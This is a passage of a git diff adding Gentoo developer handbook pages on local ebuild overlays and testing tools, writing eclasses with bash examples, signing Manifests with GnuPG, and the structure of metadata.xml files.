+<title>Storing your own ebuilds locally</title>
+<body>
+
+<p>
+In order to be able to test your ebuilds and let Portage know about them, you 
+must place those in a known directory.  Portage will use the 
+<c>PORTDIR_OVERLAY</c> variable which you can define in 
+<path>/etc/make.conf</path>.  You should set this variable to your directory 
+(e.g. <path>/usr/local/portage</path>).
+</p>
+
+<p>
+In that directory, you must use the same structure (and categories) as in 
+<path>/usr/portage</path>. 
+</p>
+
+<p>
+Using this <c>PORTDIR_OVERLAY</c>, your ebuilds remain on your system, even
+after an <c>emerge sync</c>, and they are still known to Portage.
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Testing the package</title>
+<body>
+
+<p>
+Have a think about how you will test whether this package
+works. Sometimes the developers have already included a <c>make test</c> or
+<c>make check</c> routine that will test the basic functionality of the
+package. If so, then running <c>FEATURES=test ebuild <path>foo-x.y.z.ebuild</path>
+test</c> will execute it. If it is broken try to fix it so that it works
+(and submit the patch to the upstream developers).
+</p>
+
+<p>
+If this is not the case consider adding a <c>src_test</c> routine to
+your ebuild. This is executed before the <c>src_install</c> routine
+and can be very helpful for testing the program works across various
+architectures. The architecture developers will appreciate if you add
+a routine here so that they do not require knowledge of the package's
+functionality.
+</p>
+
+<p>
+Please keep in mind the general requirements of an ebuild here. The
+<c>src_test</c> routine must not be interactive. If the test routine
+depends on other packages use the <c>test</c> USE flag to specify the
+optional compile time <c>DEPEND</c>ancies. Also, please note that <c>src_test</c>
+routines are not recommended for graphical X applications as the
+user running portage often cannot run them successfully.
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Useful testing tools</title>
+<body>
+
+<p>
+We have a few useful tools to help you with writing and maintaining your 
+ebuilds.
+</p>
+
+<table>
+<tr>
+  <th>Tool</th>
+  <th>Package</th>
+  <th>Description</th>
+</tr>
+<tr>
+  <ti><c>repoman</c></ti>
+  <ti>sys-apps/portage</ti>
+  <ti>
+    Developer-only tool to assist with the CVS check in procedure.  It does a 
+    lot of common QA and tries to make sure that files added to cvs will not 
+    break the portage tree.
+  </ti>
+</tr>
+<tr>
+  <ti><c>ccache</c></ti>
+  <ti>dev-util/ccache</ti>
+  <ti>
+    Tool that keeps pre-processed files so that recompilation gets done 
+    <e>much</e> faster.  Be sure to add <c>ccache</c> to the <c>FEATURES</c> 
+    variable in <path>/etc/make.conf</path>!
+  </ti>
+</tr>
+<tr>
+  <ti><c>sandboxshell</c></ti>
+  <ti>app-shells/sandboxshell</ti>
+  <ti>
+    Launch a shell that creates a sandbox environment.  Useful for entering the
+    same environment that portage builds packages inside of and debugging 
+    things by hand.
+  </ti>
+</tr>
+<tr>
+  <ti><c>echangelog</c></ti>
+  <ti>app-portage/gentoolkit-dev</ti>
+  <ti>Can create a new ChangeLog or add an entry to an existing one.</ti>
+</tr>
+</table>
+
+</body>
+</subsection>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/en/devrel/handbook/hb-guide-eclass.xml b/xml/htdocs/proj/en/devrel/handbook/hb-guide-eclass.xml
new file mode 100644
index 00000000..cb65388b
--- /dev/null
+++ b/xml/htdocs/proj/en/devrel/handbook/hb-guide-eclass.xml
@@ -0,0 +1,380 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<!-- This document was last synced to:
+     cvs://gentoo/gentoo/xml/htdocs/doc/en/eclass-howto.xml :: R1.17.
+-->
+
+<sections>
+<version>1.0.3</version>
+<date>2010-07-13</date>
+
+  <section>
+    <title>Introduction to eclasses</title>
+
+    <subsection>
+      <title>The idea behind eclasses</title>
+      <body>
+	
+	<p>eclasses are modules of shared code. They are written in
+	bash and have the same syntax as ordinary ebuilds, and are
+	sourced ('inherited') by ebuilds and other eclasses, to
+	provide default settings and functionality across many similar
+	ebuilds.</p>
+	<p>This is used to ensure maximum code reuse among similar
+	ebuilds.</p>
+	<p>This first chapter shows briefly how to write an eclass
+	incorporating the standard tricks and techniques used in
+	existing eclasses.</p>
+	
+      </body>
+    </subsection>
+
+    <subsection>
+      <title>An example of a simple eclass</title>
+      <body>
+
+	<p>Here is a fictive sourceforge.eclass, designed to provide
+	homepage and download locations to sourceforge.net-hosted
+	projects:</p>
+	<pre caption = "Example: sourceforge.eclass">
+# Copyright 2009 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License, v2 or later
+# Author Dan Armak &lt;danarmak@gentoo.org&gt;
+# &#36;Header: &#36;
+
+# This eclass sets ${HOMEPAGE} and ${SRC_URI} to the standard values for
+# sourceforge.net - hosted projects.
+
+HOMEPAGE="http://${PN}.sourceforge.net/"
+SRC_URI="http://download.sourceforge.net/${PN}/${P}.tar.gz"</pre>
+	<p>The first four lines are headers, just like those in any
+	ebuild. The next two lines are a short description of the
+	eclass. The rest of the code does the actual work - setting
+	SRC_URI and HOMEPAGE.</p>
+	<p>Most eclasses go beyond setting variables and providing
+	helper functions; they contain default versions of the special
+	ebuild functions (src_unpack, src_compile and so on). Before
+	writing a default function in an eclass, you should be aware
+	of the default functions already contained in ebuild.sh. They
+	are what gets executed if you don't put some function in your
+	ebuild (not even via an eclass); the default src_unpack() is
+	often used. If you haven't yet, go and look at the default
+	implementations in ebuild.sh.</p>
+	
+	<p>This is all you need to know to actually write
+	eclasses. Put your new eclass
+	in <path>${PORTDIR}/eclass/</path>, and put this line at the
+	beginning of your ebuild:</p>
+	<pre caption ="How to inherit eclasses">
+inherit sourceforge</pre>
+	<p>The contents of the eclass will be sourced at this
+	point. Remember that any variables or functions defined in the
+	eclass can be overridden in the ebuild, whose code executes
+	after any eclasses. Therefore, you should try to put as much
+	default settings and common code in your eclass as
+	possible. Any nonstandard settings and modifications can then
+	be put into the ebuild.</p>
+	<p>Oh, and you can inherit several eclasses at the same time
+	by saying:</p>
+	<pre caption = "Inheriting multiple eclasses">
+inherit eclass1 eclass2 [...]</pre>
+	<p>...but watch their order! Remember, eclasses can inherit
+	one another and override each other's settings, so you should
+	be careful when dealing with multiple eclasses that might
+	influence one another.</p>
+
+	<p>We will now go over all the tricks of eclass writing,
+	before moving on to the actual eclasses in portage.</p>
+
+      </body>
+    </subsection>
+
+    <subsection>
+      <title>inherit()</title>
+      <body>
+
+	<p>This function lives in ebuild.sh and handles inheriting
+	(sourcing) of eclasses. It is called with a list of eclass
+	names to inherit: inherit &lt;eclass1&gt; [eclass2
+	eclass3...].</p>
+	<p>Besides actually sourcing the eclass files, it sets the
+	ECLASS and INHERITED variables which are used by portage for
+	caching eclass modification timestamps. The INHERITED variable
+	might be of use in writing eclasses: it contains a list of all
+	eclasses inherited (sourced) up to this point, in order. Thus
+	an eclass can use it to determine whether or not it was called
+	from some other eclass.</p>
+
+      </body>
+    </subsection>
+
+    <subsection>
+      <title>EXPORT_FUNCTIONS</title>
+      <body>
+
+	<p>A good eclass's predefined functions can often be used
+	as-is; the ebuild will then contain very little code (which is
+	good). Sometimes, though, the eclass functions won't do
+	exactly what you need. You could write a new function in your
+	ebuild, overriding the function definition from the
+	eclass. However, this would minimize the benefit of code
+	reuse. So we try to 'extend' the eclass functions instead.</p>
+	<p>Suppose you want to extend src_compile(). You can write an
+	src_compile() definition in your ebuild, which would only
+	include the parts missing from the eclass src_compile(). You
+	would then call the eclass src_compile() from within the code
+	of your custom function.</p>
+	<p>However, if you create a new function called src_compile(),
+	bash will forget about the old one and you won't be able to
+	call it! That's where the EXPORT_FUNCTIONS macro comes into
+	play.</p>
+
+	<p>Let's look at another problem for a moment. Suppose that
+	foo.eclass and bar.eclass both define src_compile(). If you
+	inherit both foo and bar you'll get a different src_compile()
+	depending on the order in which you inherit them. That's ok;
+	you're supposed to keep track of your inheritance order. But
+	you may want to call either of the two src_compile()s
+	explicitly.</p>
+	<p>So, every eclass adds to the functions that it defines a
+	prefix. For example, foo.eclass will define a function called
+	foo_src_compile(), and bar.eclass will define a
+	bar_src_compile(). That way, the ebuild can call either
+	function and know what it'll get.</p>
+	<p>However, we also want to have some default function called
+	just src_compile(), or the ebuild will have to define one. The
+	EXPORT_FUCTIONS macro solves both this problem and the one
+	presented earlier.</p>
+
+	<pre caption = "EXPORT_FUNCTIONS() (from ebuild.sh)">
+EXPORT_FUNCTIONS() {
+	while [ "$1" ]; do
+		eval "$1() { ${ECLASS}_$1 ; }" &gt; /dev/null
+		shift
+	done
+}</pre>
+
+	<p>The inherit() function sets ${ECLASS} to the eclass's name
+	before sourcing it. The eclass, at its end, calls
+	EXPORT_FUNCTIONS(), passing as parameters the list of default
+	functions it provides. For example, if you call</p>
+	<pre caption="EXPORT_FUNCTIONS call example">
+EXPORT_FUNCTIONS src_compile src_install</pre>
+	<p>then EXPORT_FUNCTIONS will call eval() on the following string:</p>
+
+	<pre caption="EXPORT_FUNCTIONS result">
+src_compile() { foo_src_compile ; }
+src_install() { foo_src_install ; }</pre>
+
+	<p>Now, whichever eclass is inherited last will define the
+	default src_compile() function, but both functions can be
+	directly called by the ebuild if needed.</p>
+	<p>You can also extend the default src_compile() function by
+	calling the eclass's function from within your own
+	function. You then have to use the default function's full
+	name of foo_src_compile. An example:</p>
+
+	<pre caption="Extending eclass-provided default functions in your ebuild">
+#in foo.eclass:
+foo_src_compile() {
+	[default code here]
+}
+
+EXPORT_FUNCTIONS src_compile
+#end eclass code
+
+#in an ebuild:
+inherit foo
+
+src_compile() {
+	[custom code here]
+	foo_src_compile
+	[more custom code]
+}</pre>
+
+      </body>
+    </subsection>
+
+    <subsection>
+      <title>Function sections</title>
+      <body>
+
+	<p>Sometimes, extending default functions by having code
+	execute before and after isn't flexible enough. When dealing
+	with long, complex functions, you often want to have your
+	custom code run in the middle of those functions.</p>
+	<p>Function sections provide for greater flexibility required
+	here. They break the functions down into sections and allow
+	you to execute code between any two sections.</p>
+
+	<p>The implementation is simple. Let's take as an example the
+	src_compile() function from base.eclass. (Note: it no longer
+	exists, but it's a good example :-) It looks like this:</p>
+
+	<pre caption = "Example from original base.eclass">
+base_src_compile() {
+    econf || die
+    emake || die
+}</pre>
+
+	<p>Here is the same function, divided into sections:</p>
+	<pre caption = "The same function divided into sections.">
+base_src_compile() {
+ 
+    [ -z "$1" ] &amp;&amp; base_src_compile all
+ 
+    while [ "$1" ]; do
+        case $1 in
+            configure)
+                ./configure || die;;
+            make)
+                emake || die;;
+            all)
+                base_src_compile configure make;;
+        esac
+    shift
+    done
+ 
+}</pre>
+			
+	<p>The code has been divided into two
+	sections: <c>configure</c> and <c>make</c>. In our simple
+	example, they correspond to the two commands in the original
+	function.</p>
+	<p>In the center of the new function is a
+	while;case...esac;shift;done block. This block matches the
+	parameters to the function with the defined section names and
+	executes the corresponding lines of code.</p>
+	<p>The special case <c>all</c> calls the same function
+	recursively with a list of sections in order. It's up to the
+	eclass's author to maintain this list.</p>
+	<p>The line before the block says that a call without
+	parameters should be treated the same as a call with the
+	single parameter <c>all</c>. As you see, this function
+	recurses a lot. Note, however, that the
+	call <c>base_src_compile configure all make</c> is also legal;
+	it will execute <c>base_src_compile configure configure make
+	make</c>.</p>
+
+	<p>Now, in your ebuild (or eclass) that inherits from
+	base.eclass, you get the stub function src_compile which calls
+	base_src_compile without parameters. This makes
+	base_src_compile execute <e>all</e>, that is, all its
+	sections. You can leave it as-is. If you wish to extend it,
+	you can define a new src_compile and call base_src_compile a
+	section at a time:</p>
+	<pre caption = "Using the sectioned src_compile()">
+src_compile() {
+    run_my_code1
+    base_src_compile configure
+    run_my_code2
+    base_src_compile make
+    run_my_code3
+}</pre>
+	<p>As you can see, the function sections add flexibility since
+	you can now insert code between the two sections, as well as
+	run them in a different order or run only some of the sections
+	provided. This makes for greater code reuse overall.</p>
+
+      </body>
+    </subsection>
+
+    <subsection>
+      <title>The debug-print-* functions</title>
+      <body>
+
+	<p>These are more functions provided by ebuild.sh. They add
+	verbose debug output facilities to eclasses, to allow you to
+	trace their execution more easily without having to read the
+	long traces provided by the bash debug mode. All my eclasses
+	call these functions a lot.</p>
+
+	<p>debug-print() simply prints all its parameters with the
+	'debug:' prefix. It is called whenever there's something
+	interesting to put in the debug log.</p>
+	<p>debug-print-function() prints 'debug: entering function $1,
+	parameters: $2 [$3 ....] It is called at the beginning of a
+	function.</p>
+	<p>debug-print-section() prints 'debug: now in section $1'. It
+	is called at the beginning of a function's section.</p>
+
+	<p>The debug output normally goes into
+	${T}/eclass-debug.log. You can set the ECLASS_DEBUG_OUTPUT
+	env. variable (in make.globals/conf or in the environment) and
+	output will be sent there as well. You can also set it to the
+	special value 'on', which echoes output to stdout together
+	with the other emerge messages.</p>
+
+	<p>Let's add typical debug output statements to our sample
+	function:</p>
+	<pre caption = "Adding debug statements">
+base_src_compile() {
+ 
+    debug-print-function
+    [ -z "$1" ] &amp;&amp; base_src_compile all
+ 
+    while [ "$1" ]; do
+        case $1 in
+            configure)
+                debug-print-section configure
+                ./configure || die;;
+            make)
+                debug-print-section make
+                make || die;;
+            all)
+                debug-print-section all
+                base_src_compile configure make;;
+        esac
+    shift
+    done
+ 
+    debug-print "${FUNCNAME}: result is ${RESULT}"
+}</pre>
+	<p>${FUNCNAME} is a bash built-in that returns the current
+	function's name.</p>
+
+      </body>
+    </subsection>
+<!--
+    <subsection>
+      <title>newdepend()</title>
+      <body>
+
+	<p>This ebuild.sh function simply adds all its parameters to
+	both DEPEND and RDEPEND, saving you the trouble of writing and
+	maintaining two lists of dependencies.</p>
+
+	<p>If called with a special parameter, it adds predefined
+	dependencies. I don't think this is very elegant (anymore), I
+	rather prefer explicit dependencies now; so you can consider
+	this slightly deprecated ;-)</p>
+	<p>These special parameters exist as of now:</p>
+	<p>newdepend /autotools: add sys-devel/autoconf
+	sys-devel/automake sys-devel/make to DEPEND (but not
+	RDEPEND).</p>
+	<p>newdepend /c: add virtual/glibc sys-devel/ld.so to both
+	DEPEND and RDEPEND. Also, add sys-devel/gcc to DEPEND.</p>
+
+      </body>
+    </subsection>
+-->
+  </section>
+
+  <section>
+    <title>Existing eclasses</title>
+    
+    <subsection>
+      <title>eclass-manpages</title>
+      <body>
+
+	 <p>You can emerge app-portage/eclass-manpages for documentation
+		 on existing eclasses</p>
+      </body>
+    </subsection>
+  </section>
+
+</sections>
diff --git a/xml/htdocs/proj/en/devrel/handbook/hb-guide-manifest-signing.xml b/xml/htdocs/proj/en/devrel/handbook/hb-guide-manifest-signing.xml
new file mode 100644
index 00000000..a78d6b4b
--- /dev/null
+++ b/xml/htdocs/proj/en/devrel/handbook/hb-guide-manifest-signing.xml
@@ -0,0 +1,67 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<sections>
+<version>1.1</version>
+<date>2009-10-16</date>
+
+
+<section>
+<title>How to sign Manifests?</title>
+<subsection>
+<body>
+
+<p>
+Requirements:
+</p>
+
+<ul>
+  <li>&gt;=sys-apps/portage-2.0.51_pre10</li>
+  <li>&gt;=app-crypt/gnupg-1.2.4</li>
+</ul>
+
+<p>
+Key Setup:
+</p>
+
+<ul>
+  <li>
+    <uri link="http://www.gentoo.org/doc/en/gnupg-user.xml#doc_chap2">Create</uri>
+    a new DSA GnuPG key with at least a 1024 bit keylength, an expiration
+    period no longer than 6 months and a good passphrase.
+  </li>
+  <li>
+    <uri link="http://www.gentoo.org/doc/en/gnupg-user.xml#doc_chap3">Upload</uri>
+    the key to a keyserver.
+  </li>
+</ul>
+
+<p>
+Portage Configuration:
+</p>
+
+<ul>
+  <li>
+    Set <path>PORTAGE_GPG_DIR</path> to your <path>~/.gnupg/</path> directory
+    (or the directory where the keyring with your new key is).
+  </li>
+  <li>Set <path>PORTAGE_GPG_KEY</path> to the key id of your new key.</li>
+  <li>Set FEATURES="sign".</li>
+</ul>
+
+<p>
+Now you should be able to sign your Manifests on repoman commit. Repoman will
+ask you for your passphrase before committing the Manifest. This step is
+<e>after</e> it has committed the other files. At the moment repoman doesn't
+check if the Manifest is already signed, so others are able to "unsign" your
+package later. This will change before signing is made mandatory.
+</p>
+
+</body>
+</subsection>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/en/devrel/handbook/hb-guide-metadata.xml b/xml/htdocs/proj/en/devrel/handbook/hb-guide-metadata.xml
new file mode 100644
index 00000000..8b43d6ce
--- /dev/null
+++ b/xml/htdocs/proj/en/devrel/handbook/hb-guide-metadata.xml
@@ -0,0 +1,474 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/devrel/handbook/hb-guide-metadata.xml,v 1.16 2009/10/30 17:46:11 betelgeuse Exp $-->
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<!-- This document was last synced to:
+     cvs://gentoo/gentoo/xml/htdocs/doc/en/metadata.xml :: R1.4.
+-->
+
+<sections>
+<version>1.0.7</version>
+<date>2008-09-11</date>
+
+<section>
+<title>Why the need for metadata.xml?</title>
+<subsection>
+<body>
+
+<p>
+The <path>metadata.xml</path> file has as its purpose to give extra information
+about ebuilds. The <path>metadata.xml</path> file should exist in every package
+directory.  A skel file can be found as <path>skel.metadata.xml</path> in the
+portage tree.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Metadata Structure</title>
+<subsection>
+<body>
+
+<p>
+A <path>metadata.xml</path> file can contain a number of tags:
+</p>
+
+<table>
+<tr>
+  <th>tag</th>
+  <th>description</th>
+</tr>
+<tr>
+  <ti>
+    <brite>&lt;pkgmetadata&gt;</brite>
+  </ti>
+  <ti>
+    This is the root element of the <path>metadata.xml</path> file for
+    packages. It has no attributes. Its required subtag is:
+    <brite>&lt;herd&gt;</brite>.  Furthermore, the following subtags are
+    allowed: <brite>&lt;email&gt;</brite> for a general herd email address,
+    <brite>&lt;maintainer&gt;</brite>,
+    <brite>&lt;longdescription&gt;</brite>,
+    <brite>&lt;use&gt;</brite>, and
+    <brite>&lt;upstream&gt;</brite>.
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <brite>&lt;catmetadata&gt;</brite>
+  </ti>
+  <ti>
+    This is the root element of the <path>metadata.xml</path> file for
+    categories as per <uri link="/proj/en/glep/glep-0034.html">GLEP 34</uri>.
+    It has no attributes. It contains a number of 
+    <brite>&lt;longdescription&gt;</brite> tags, each for a different 
+    language.
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <brite>&lt;herd&gt;</brite>
+  </ti>
+  <ti>
+    There must at least be one herd subtag. The contents of this tag must be
+    the name of a herd as specified in the <uri 
+    link="http://sources.gentoo.org/viewcvs.py/*checkout*/gentoo/xml/htdocs/proj/en/metastructure/herds/herds.xml?content-type=text/plain&amp;rev=HEAD">herds.xml</uri>
+    file or the "no-herd" herd. It must occur at least once.
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <brite>&lt;maintainer&gt;</brite>
+  </ti>
+  <ti>
+    Besides being part of a herd, a package can also be maintained directly. 
+    The maintainers of a package can be specified with the 
+    <brite>&lt;maintainer&gt;</brite> tag. This tag has one required subtag: 
+    <brite>&lt;email&gt;</brite>. It has two optional subtags:
+    <brite>&lt;name&gt;</brite>, and <brite>&lt;description&gt;</brite>.
+  </ti>
+</tr>
+<tr>
+  <ti><brite>&lt;email&gt;</brite></ti>
+  <ti>
+    This contains the e-mail address of the maintainer. It is required.
+  </ti>
+</tr>
+<tr>
+  <ti><brite>&lt;name&gt;</brite></ti>
+  <ti>
+    This contains freetext with the name of the maintainer. It is optional.
+  </ti>
+</tr>
+<tr>
+  <ti><brite>&lt;description&gt;</brite></ti>
+  <ti>
+    The description tag contains a description of the maintainership, or for 
+    example a remark that someone interested can take over the maintainership. 
+    It is optional.
+  </ti>
+</tr>
+<tr>
+  <ti><brite>&lt;longdescription&gt;</brite></ti>
+  <ti>
+    This tag contains a description of the package. This is to augment the 
+    DESCRIPTION field in the ebuilds themselves. This tag has two optional
+    subtags: <brite>&lt;pkg&gt;</brite> and <brite>&lt;cat&gt;</brite>.
+  </ti>
+</tr>
+<tr>
+  <ti><brite>&lt;use&gt;</brite></ti>
+  <ti>
+    This tag contains descriptions of <uri
+    link="/doc/en/handbook/handbook-x86.xml?part=2&amp;chap=2">USE flags</uri>.
+    This tag is optional and, if specified, has one required subtag:
+    <brite>&lt;flag&gt;</brite>.
+  </ti>
+</tr>
+<tr>
+  <ti><brite>&lt;flag&gt;</brite></ti>
+  <ti>
+    This tag contains a description of how the named USE flag affects this
+    package. It is required if the <brite>&lt;use&gt;</brite> tag is specified.
+    It alos requires the USE flag to be named in the <c>name</c> attribute.
+    This tag has two optional subtags: <brite>&lt;pkg&gt;</brite> and
+    <brite>&lt;cat&gt;</brite>.
+  </ti>
+</tr>
+<tr>
+  <ti><brite>&lt;upstream&gt;</brite></ti>
+  <ti>
+    This tag contains information about the upstream developers/project.
+  </ti>
+</tr>
+<tr>
+  <ti><brite>&lt;maintainer&gt;</brite></ti>
+  <ti>
+    Name and e-mail of an upstream maintainer. May appear more than once.
+  </ti>
+</tr>
+<tr>
+  <ti><brite>&lt;name&gt;</brite></ti>
+  <ti>
+    The name of an upstream maintainer should contain a block of text with upstream's name.
+    This element is mandatory for an upstream maintainer and must appear only once.
+  </ti>
+</tr>
+<tr>
+  <ti><brite>&lt;email&gt;</brite></ti>
+  <ti>
+    The email address of an upstream may appear only once.
+  </ti>
+</tr>
+<tr>
+  <ti><brite>&lt;changelog&gt;</brite></ti>
+  <ti>
+    Should contain a URL where the location of the upstream changelog can be found.
+    The URL must be version independent and must point to a changelog which is only
+    updated on new releases of the corresponding package. (This also implies that
+    one can link to an automatically updated changelog in case of vcs snapshots
+    only.)
+  </ti>
+</tr>
+<tr>
+  <ti><brite>&lt;doc&gt;</brite></ti>
+  <ti>
+    Should contain a URL where the location of the upstream documentation can be
+    found. The link must not point to any third party documentation and must be
+    version independent. If the documentation is available in more than one language,
+    a lang attribute can be used which follows the same rules as the one for
+    longdescription.
+  </ti>
+</tr>
+<tr>
+  <ti><brite>&lt;bugs-to&gt;</brite></ti>
+  <ti>
+    Should contain a place where bugs can be filed, a URL or an e-mail address prefixed
+    with mailto:.
+  </ti>
+</tr>
+<tr>
+  <ti><brite>&lt;remote-id&gt;</brite></ti>
+  <ti>
+    Should specify a type of package identification tracker and the identification that
+    corresponds to the package in question. remote-id should make it easier to index
+    information such as its Freshmeat ID or its CPAN name.
+  </ti>
+</tr>
+<tr>
+  <ti><brite>&lt;pkg&gt;</brite></ti>
+  <ti>
+    This tag contains a valid package name in the format of a DEPEND.
+  </ti>
+</tr>
+<tr>
+  <ti><brite>&lt;cat&gt;</brite></ti>
+  <ti>
+    This tag contains a valid category name as defined in
+    <path>profiles/categories</path>.
+  </ti>
+</tr>
+</table>
+
+<p>
+There are also some attributes that can be used with these tags. They are all
+optional:
+</p>
+
+<table>
+<tr>
+  <th>attribute</th>
+  <th>tags</th>
+  <th>description</th>
+</tr>
+<tr>
+  <ti>lang</ti>
+  <ti>
+    <brite>&lt;description&gt;</brite>, <brite>&lt;longdescription&gt;</brite>,
+    <brite>&lt;use&gt;</brite>, <brite>&lt;doc&gt;</brite>
+  </ti>
+  <ti>
+    In every case where a description is required, there must be at
+    <e>least</e> an english description.  If an additional description in
+    another language is given, this attribute is used to specify the language
+    used.  The format is the two-character language code as defined by the <uri
+    link="http://www.w3.org/WAI/ER/IG/ert/iso639.htm#2letter">ISO-639-1</uri>
+    norm.
+  </ti>
+</tr>
+<tr>
+  <ti>restrict</ti>
+  <ti>
+    <brite>&lt;herd&gt;</brite>, <brite>&lt;maintainer&gt;</brite>, 
+    <brite>&lt;longdescription&gt;</brite>, <brite>&lt;flag&gt;</brite>
+  </ti>
+  <ti>
+    The restrict attribute allows one to restrict the application of certain
+    tags to certain versions of a package. When this attribute is used, a tag 
+    without this attribute must also exist. That tag without the restrict 
+    attribute will serve as the default. The format of the restrict attribute 
+    is that of the DEPEND flag, except that "&lt;" and 
+    "&gt;" need to be specified by &amp;lt; and &amp;gt;.<br />
+    <br />
+    For example, in the <c>sys-libs/db</c> package, 
+    <c>restrict="&amp;gt;=sys-libs/db-3.2.9-r5"</c>  on the
+    <brite>maintainer</brite> tag shows that I'm currently maintaining all
+    versions greater then 3.2.9-r5.
+  </ti>
+</tr>
+<tr>
+  <ti>name</ti>
+  <ti>
+    <brite>&lt;flag&gt;</brite>
+  </ti>
+  <ti>
+    This attribute is required on the <brite>&lt;flag&gt;</brite> tag. It
+    simply contains the USE flag.
+    <br /><br />
+    For example, in the <c>sys-apps/hal</c> package, <c>&lt;flag name='acpi'&gt;
+    Enables ACPI&lt;/flag&gt;</c>
+  </ti>
+</tr>
+<tr>
+  <ti>status</ti>
+  <ti>
+    <brite>&lt;maintainer&gt;</brite>
+  </ti>
+  <ti>
+    The upstream maintainer element has a status attribute, which is one of active or inactive.
+    This attribute is not mandatory. The absence of it shall be interpreted as unknown.
+    Please note: This attribute is only allowed in the &lt;upstream&gt; &lt;maintainer&gt; element!
+  </ti>
+</tr>
+<tr>
+  <ti>type</ti>
+  <ti>
+    <brite>&lt;remote-id&gt;</brite>
+  </ti>
+  <ti>
+    A string identifying the type of upstream source. A list of valid strings are kept in metadata.dtd.
+    Developers should email the gentoo-dev mailing list before using a new type value. 
+  </ti>
+</tr>
+
+</table>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Metadata Examples</title>
+<subsection>
+<title>First Example</title>
+<body>
+
+<p>
+In this first example we provide you with the <path>metadata.xml</path> for 
+OpenOffice of which the ebuilds are completely managed by a herd called
+<c>openoffice</c>:
+</p>
+
+<pre caption="Herd-managed package">
+&lt;?xml version='1.0' encoding='UTF-8'?&gt;
+&lt;!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd"&gt;
+&lt;pkgmetadata&gt;
+  &lt;herd&gt;openoffice&lt;/herd&gt;
+  &lt;longdescription&gt;
+    OpenOffice is the  opensource version of staroffice.
+    This ebuild allows you to compile it yourself. Unfortunately this
+    compilation can take up to a day depending on the speed of your
+    computer. It will however make a snappier openoffice than the binary
+    version.
+  &lt;/longdescription&gt;
+&lt;/pkgmetadata&gt;
+</pre>
+
+<p>
+The <c>openoffice</c> herd is defined in <path>herds.xml</path> by the
+<uri link="/proj/en/metastructure">Gentoo Metastructure Project</uri>:
+</p>
+
+<note>
+This example may be outdated when you read it. It's just an example!
+</note>
+
+<pre caption="OpenOffice Herd Example">
+&lt;herd&gt;
+  &lt;name&gt;openoffice&lt;/name&gt;
+  &lt;email&gt;openoffice@gentoo.org&lt;/email&gt;
+  &lt;description&gt;Openoffice related packages&lt;/description&gt;
+  &lt;maintainer&gt;&lt;email&gt;pauldv@gentoo.org&lt;/email&gt;&lt;/maintainer&gt;
+  &lt;maintainer&gt;&lt;email&gt;suka@gentoo.org&lt;/email&gt;&lt;/maintainer&gt;
+&lt;/herd&gt;
+</pre>
+
+<p>
+If you want to add (or remove) yourself from a herd, edit <path>herds.xml</path>
+located in <path>[gentoo]/xml/htdocs/proj/en/metastructure/herds</path> in Gentoo's CVS repository. Make sure you
+know the e-mail alias the herd listens to (for instance the "sound" herd has
+<mail link="sound@gentoo.org">sound@gentoo.org</mail>) and add yourself to the
+alias (by editing <path>/var/mail/alias/misc/&lt;alias name&gt;</path> on 
+dev.gentoo.org).
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Second Example</title>
+<body>
+
+<p>
+For the second example, we will examine the <path>metadata.xml</path> of
+<c>app-portage/mirrorselect</c>.  This ebuild is maintained by the
+<c>tools-portage</c> herd, but has a separate maintainer.
+</p>
+
+<pre caption="Herd &amp; individually maintained package">
+&lt;?xml version='1.0' encoding='UTF-8'?&gt;
+&lt;!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd"&gt;
+&lt;pkgmetadata&gt;
+  &lt;herd&gt;tools-portage&lt;/herd&gt;
+  &lt;maintainer&gt;
+    &lt;email&gt;johnm@gentoo.org&lt;/email&gt;
+    &lt;name&gt;John Mylchreest&lt;/name&gt;
+  &lt;/maintainer&gt;
+  &lt;longdescription&gt;
+    This utility is used to select the fastest mirror (distfiles) and provide a
+    nicer front-end for mirror selection (both rsync + distfiles) to a user.
+  &lt;/longdescription&gt;
+&lt;/pkgmetadata&gt;
+</pre>
+
+</body>
+</subsection>
+<subsection>
+<title>Third Example</title>
+<body>
+
+<p>
+For the third example, we will describe the <path>metadata.xml</path> of
+<c>sys-apps/hal</c>. This ebuild is maintained by the <c>gentopia</c> herd
+and contains USE flag descriptions.
+</p>
+
+<pre caption="USE flag descriptions">
+&lt;?xml version="1.0" encoding="UTF-8"&gt;
+&lt;!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd"&gt;
+&lt;pkgmetadata&gt;
+&lt;herd&gt;gentopia&lt;/herd&gt;
+&lt;maintainer&gt;
+	&lt;email&gt;compnerd@gentoo.org&lt;/email&gt;
+&lt;/maintainer&gt;
+&lt;maintainer&gt;
+	&lt;email&gt;steev@gentoo.org&lt;/email&gt;
+&lt;/maintainer&gt;
+&lt;use&gt;
+	&lt;flag name='acpi'&gt;Enables HAL to attempt to read from
+	/proc/acpi/event, if unavailable, HAL will read events from
+	&lt;pkg&gt;sys-power/acpid&lt;/pkg&gt;. If you need multiple acpi
+	readers, ensure acpid is in your default runlevel along with HAL. This
+	will also enable HAL to read Toshia and IBM acpi events which do not
+	get sent via /proc/acpi/event&lt;/flag&gt;
